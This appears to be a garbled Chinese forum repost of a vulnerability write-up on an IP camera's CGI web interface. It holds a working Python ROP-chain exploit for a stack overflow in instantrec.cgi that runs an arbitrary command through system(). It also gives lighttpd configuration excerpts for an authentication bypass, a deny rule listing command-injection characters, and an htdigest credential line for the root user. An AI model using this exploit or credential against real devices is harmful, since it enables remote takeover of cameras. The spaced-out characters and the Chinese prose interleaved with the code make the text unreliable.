p u t s _ o f f   =   0 x 0 0 0 5 b c 5 c e x i t _ o f f   =   0 x 0 0 0 2 d 7 8 4 s l e e p _ o f f   =   0 x 0 0 0 9 5 3 8 c p u t c h a r _ o f f   =   0 x 0 0 5 e 6 0 8 l i b c _ d a t a _ o f f   =   0 x 1 2 c 9 6 0 s t r _ r 1 _ o f f   =   0 x 0 0 0 6 7 8 1 c   #   s t r   r 1   i n t o   r 4   +   0 x 1 4 ;   p o p   r 4   p c ; p o p _ r 0 _ o f f   =   0 x 0 0 1 0 1 d e 4   #   p o p   r 0   p c p o p _ r 1 _ o f f   =   0 x 0 0 1 0 2 5 2 c   #   p o p   r 1   p c p o p _ r 4 _ o f f   =   0 x 0 0 0 1 5 1 6 4   #   p o p   r 4   p c s y s t e m   =   l i b c _ a d d   +   s y s t e m _ o f f p u t s       =   l i b c _ a d d   +   p u t s _ o f f e x i t _     =   l i b c _ a d d   +   e x i t _ o f f s l e e p     =   l i b c _ a d d   +   s l e e p _ o f f p u t c h a r     =   l i b c _ a d d   +   p u t c h a r _ o f f s t r _ r 1   =   l i b c _ a d d   +   s t r _ r 1 _ o f f p o p _ r 0   =   l i b c _ a d d   +   p o p _ r 0 _ o f f p o p _ r 1   =   l i b c _ a d d   +   p o p _ r 1 _ o f f p o p _ r 4   =   l i b c _ a d d   +   p o p _ r 4 _ o f f a d d _ s t r   =   l i b c _ d a t a _ o f f   +   l i b c _ a d d   +   4 d e f   p ( a ) :         r e t u r n   s t r u c t . p a c k ( ' < I ' ,   a ) d e f   w r i t e _ s t r i n g ( s t r i n g ,   a d d ) :         r o p   =   b " "         i f   ( l e n ( s t r i n g )   % 4 ) :                 p r i n t ( ' [ - ]   S t r i n g   w o u l d   c o n t a i n   n u l l _ b y t e s .   ' )                 s y s . e x i t ( - 1 )         c h u n k s   =   [ s t r i n g [ i : i + 4 ]   f o r   i   i n   r a n g e ( 0 ,   l e n ( s t r i n g ) , 4 ) ]         r o p   + =   p ( p o p _ r 4 )         r o p   + =   p ( a d d - 0 x 1 4 )         f o r   i n d e x ,   c h u n k   i n   e n u m e r a t e ( c h u n k s ) :                 r o p   + =   p ( p o p _ r 1 )                 r o p   + =   c h u n k                 r o p   + =   p ( s t r _ r 1 )                 i f   i n d e x   ! =   l e n ( c h u n k s ) - 1 :                         r o p   + =   p ( a d d   -   0 x 1 4   +   ( i n d e x   +   1 ) * 4 )                 e l s e :                         r o p   + =   b " A A A A "         i f   b " x 0 0 "   i n   r o p :                 p r i n t ( " [ - ]   P i c k u p   a n o t h e r   a d d r e s s ,   r o p c h a i n   w o u l d   c o n t a i n   n u l l   b y t e s " )                 p r i n t ( " , " . j o i n ( [ h e x ( o r d ( i ) )   f o r   i   i n   r o p ] ) )         r e t u r n   r o p d e f   m a i n ( ) :         u r l   =   f ' h t t p : / / { s y s . a r g v [ 1 ] } : { s y s . a r g v [ 2 ] } / u a p i - c g i / i n s t a n t r e c . c g i '         c m d   =   f ' { s y s . a r g v [ 3 ] } '         p r i n t ( f ' [ + ]   S t a r t i n g   e x p l o i t   f o r   { u r l } ' )         p r i n t ( f ' t   -   C o m m a n d :   " { c m d } " ' )         i f   l e n ( c m d ) % 4 :                 c m d   + =   "   " * ( 4   -   l e n ( c m d ) % 4 )
针 对 针 对   I n s t a n t r e c . c g i   的 的   P y t h o n   漏 洞 利 用 漏 洞 利 用 因 为 每 个   C G I   文 件 都 使 用   l i b c ， 所 以 可 以 使 用 完 全 相 同 的 技 术 来 利 用 4   个 堆 栈 缓 冲 区 溢 出 。 您 只 需 要 调 整 参 数 、 填 充 大 小 和   l i b c   基 地 址 ， 这 对 于 每 个   C G I   都 是 不 同 的 ， 但 在 执 行 过 程 中 保 持 不 变 。 汇 总 表 第   4   步   -   让 水 果 变 得 美 味 ： 身 份 验 证 绕 过 在 查 看 身 份 验 证 机 制 时 ， 我 们 意 识 到 它 主 要 依 赖 于   W e b   服 务 器   l i g h t h t t p d   提 供 的   H T T P   基 本 身 份 验 证 。 / v a r / c o n f i g / w w w / l i g h t t p d . c o n f   的 摘 录         p r i n t ( " t   -   G e n e r a t i n g   r o p c h a i n " )         a c t i o n   =   p a d d i n g         a c t i o n   + =   w r i t e _ s t r i n g ( c m d . e n c o d e ( ) ,   a d d _ s t r )         a c t i o n   + =   p ( p o p _ r 0 )         a c t i o n   + =   p ( a d d _ s t r )         a c t i o n   + =   p ( s y s t e m )         p r i n t ( " t   -   T r i g g e r ! " )         r   =   r e q u e s t s . p o s t ( u r l ,   d a t a = { ' a c t i o n ' : a c t i o n } , a u t h = r e q u e s t s . a u t h . H T T P D i g e s t A u t h ( u s e r n a m e ,   p a s s w o r d ) )         p r i n t ( " [ * ] S h e l l   s h o u l d   h a v e   p o p p e d ! " )   d e f   u s a g e ( ) :         p r i n t ( f " [ - ]   M i s s i n g   a r g u m e n t s . n { s y s . a r g v [ 0 ] }   < R e m o t e   i p >   < p o r t >   < c o m m a n d > " )         e x i t ( 1 ) i f   _ _ n a m e _ _ = = ' _ _ m a i n _ _ ' :         i f   l e n ( s y s . a r g v )   <   4 :                 u s a g e ( )         m a i n ( ) . . . # #   m o d _ a c c e s s $ H T T P [ " u r l " ]   ! ~   " t e s t c m d . c g i | p a r a m . c g i " {         $ H T T P [ " q u e r y s t r i n g " ]     = ~   " ( > | % 3 e | % 3 E | | | % 7 c | % 7 C | ; | % 3 b | % 3 B | ' | % 2 7 | ! | % 2 1 | { | } | % 7 b | % 7 B | % 7 d | % 7 D | [ | ] | % 5 b | % 5 B | % 5 d | % 5 D | ` | % 6 0 | $ ( | % [ 0 - 1 ] [ 0 - 9 a - f A - F ] | % 8 0 | % [ e E ] 2 % 8 2 % [ a A ] [ c C ] ) " {                 u r l . a c c e s s - d e n y   =   ( " " )         } } $ H T T P [ " u r l " ]   = ~   " p a r a m . c g i " {         $ H T T P [ " q u e r y s t r i n g " ]     = ~   " ( " | % 2 2 | ' | % 2 7 | ` | % 6 0 ) " {                 u r l . a c c e s s - d e n y   =   ( " " )         } } . . . # #   <   B e g i n   o f   A u t h e n t i c a t i o n   p a r t # #   0   f o r   o f f ,   1   f o r   ' a u t h - o k '   m e s s a g e s ,   2   f o r   v e r b o s e   d e b u g g i n g a u t h . d e b u g   =   0 # #   a u t h . b a c k e n d i n c l u d e   " / v a r / c o n f i g / w w w / a u t h _ u s e r " # #   a u t h . r e q u i r e                  
第 一 个 文 件 / v a r / c o n f i g / w w w / a u t h _ u s e r ： 用 户 列 表 存 储 在   上 a u t h . b a c k e n d . h t d i g e s t . u s e r f i l e 。 在 我 们 的 案 例 中 只 有 一 个 。 主 配 置 文 件 中 包 含 的 第 二 个 有 趣 的 文 件 是 / v a r / c o n f i g / w w w / a u t h _ r e q u i r e ： # $ S E R V E R [ " s o c k e t " ]   = =   " : 8 0 "   { #     $ H T T P [ " u r l " ]   = ~   " ^ / * "   { #         a u t h . r e q u i r e   =   (   #         " / u a p i - c g i / p a r a m . f c g i "   = >   ( #             " m e t h o d "   = >   " b a s i c " , #             " r e a l m "   = >   " r o o t " , #             " r e q u i r e "   = >   " u s e r = r o o t " #         ) , #         " / n v c - c g i / p a r a m . f c g i "   = >   ( #           " m e t h o d "   = >   " b a s i c " , #           " r e a l m "   = >   " r o o t " , #           " r e q u i r e "   = >   " u s e r = r o o t " #           ) ) #     } # } i n c l u d e   " / v a r / c o n f i g / w w w / a u t h _ r e q u i r e " # #   >   E n d   o f   A u t h e n t i c a t i o n   p a r t . . . a u t h . b a c k e n d   =   " h t d i g e s t " a u t h . b a c k e n d . h t d i g e s t . u s e r f i l e   =   " / t m p / . d i g e s t " r o o t : a d m i n i s t r a t o r : 0 2 1 5 f 4 2 c 8 f a 1 d 2 c c 3 c 4 6 5 2 5 2 9 d 3 a 7 7 1 a $ S E R V E R [ " s o c k e t " ]   = =   " : 8 0 "   { u r l . r e w r i t e - o n c e   =   ( " ^ / n v c - c g i / ( [ ^ / ] * ) . ( f c g i | c g i ) ( ? . * ) ? $ "   = >   " / n v c - c g i / a d m i n / $ 1 . $ 2 $ 3 " , " ^ / u a p i - c g i / ( [ ^ / ] * ) . ( f c g i | c g i ) ( ? . * ) ? $ "   = >   " / u a p i - c g i / a d m i n / $ 1 . $ 2 $ 3 " ) $ H T T P [ " u r l " ]   = ~   " ^ / * "   { a u t h . r e q u i r e   =   (   " / u a p i - c g i / a d m i n "   = >   (   " m e t h o d "     = >   " d i g e s t " ,   " r e a l m "       = >   " a d m i n i s t r a t o r " ,   " r e q u i r e "   = >   " u s e r = r o o t " ) , " / u a p i - c g i / o p e r a t o r "   = >   (   " m e t h o d "     = >   " d i g e s t " ,   " r e a l m "       = >   " a d m i n i s t r a t o r " ,   " r e q u i r e "   = >   " u s e r = r o o t " ) , " / n v c - c g i / a d m i n "   = >   (   " m e t h o d "     = >   " d i g e s t " ,   " r e a l m "       = >   " a d m i n i s t r a t o r " ,   " r e q u i r e "   = >   " u s e r = r o o t " ) , " / n v c - c g i / o p e r a t o r "   = >   (   " m e t h o d "     = >   " d i g e s t " ,   " r e a l m "       = >   " a d m i n i s t r a t o r " ,   " r e q u i r e "   = >   " u s e r = r o o t " ) , " / n v c - c g i / p t z / p t z 2 . f c g i "   = >   (   " m e t h o d "     = >   " d i g e s t " ,   " r e a l m "       = >   " a d m i n i s t r a t o r " ,   " r e q u i r e "   = >   " u s e r = r o o t " ) , " / n v c - c g i / p t z / s e r i a l 2 . f c g i "   = >  
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理